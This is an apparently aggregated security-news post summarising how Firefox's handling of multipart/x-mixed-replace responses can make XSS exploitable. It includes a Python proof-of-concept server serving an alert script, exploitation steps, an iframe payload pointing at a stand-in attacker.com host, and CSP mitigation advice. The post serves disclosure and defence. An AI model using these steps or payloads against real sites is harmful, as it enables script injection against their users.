Listen to this Post
Firefox’s handling of `multipart/x-mixed-replace` responses differs from Chrome, allowing certain XSS vulnerabilities to be exploited where they wouldn’t be otherwise. This behavior can bypass filters and enable payload execution.
Read the full article: Making the Unexploitable Exploitable with X-Mixed-Replace on Firefox – The Spanner
You Should Know:
Understanding `multipart/x-mixed-replace`
This MIME type allows a server to push multiple parts of a response, replacing previous parts dynamically. Firefox interprets it as HTML, while Chrome treats it differently, leading to potential XSS exploitation.
Testing Firefox Behavior
To verify this behavior, you can use the following Python HTTP server code:
from http.server import HTTPServer, BaseHTTPRequestHandler class XMixedReplaceHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "multipart/x-mixed-replace;boundary=boundary") self.end_headers() self.wfile.write(b"--boundary\r\n") self.wfile.write(b"Content-Type: text/html\r\n\r\n") self.wfile.write(b"<script>alert('XSS')</script>") self.wfile.write(b"\r\n--boundary--") httpd = HTTPServer(('localhost', 8000), XMixedReplaceHandler) httpd.serve_forever()
Exploitation Steps
1. Craft a malicious response with `multipart/x-mixed-replace`.
2. Trigger the response via a vulnerable endpoint.
- Observe execution in Firefox while Chrome remains unaffected.
Bypassing Filters
Some XSS filters may fail to detect payloads delivered via multipart/x-mixed-replace
. Test with:
<!-- Example payload --> <iframe src="http://attacker.com/malicious-multipart"></iframe>
Mitigation
- Server-side: Reject or sanitize `multipart/x-mixed-replace` responses.
- Client-side: Use CSP headers to restrict script execution.
Content-Security-Policy: default-src 'self'
Additional Commands
- Check HTTP headers in Firefox:
curl -I http://example.com
- Test XSS manually:
fetch('http://target.com/vulnerable-endpoint').then(res => res.text()).then(console.log)
What Undercode Say
This exploit demonstrates how browser inconsistencies can turn theoretically unexploitable vulnerabilities into real threats. Always test across multiple browsers and enforce strict content-type validations.
Expected Output:
A working XSS payload execution in Firefox but not in Chrome, highlighting the importance of browser-specific security testing.
Related Commands:
- Linux: Inspect HTTP traffic with
tcpdump
:sudo tcpdump -i eth0 port 80 -A
- Windows: Check active connections with:
netstat -ano | findstr LISTENING
- Debugging Firefox:
firefox --devtools
Always verify security assumptions across different environments.
References:
Reported By: Gareth Heyes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅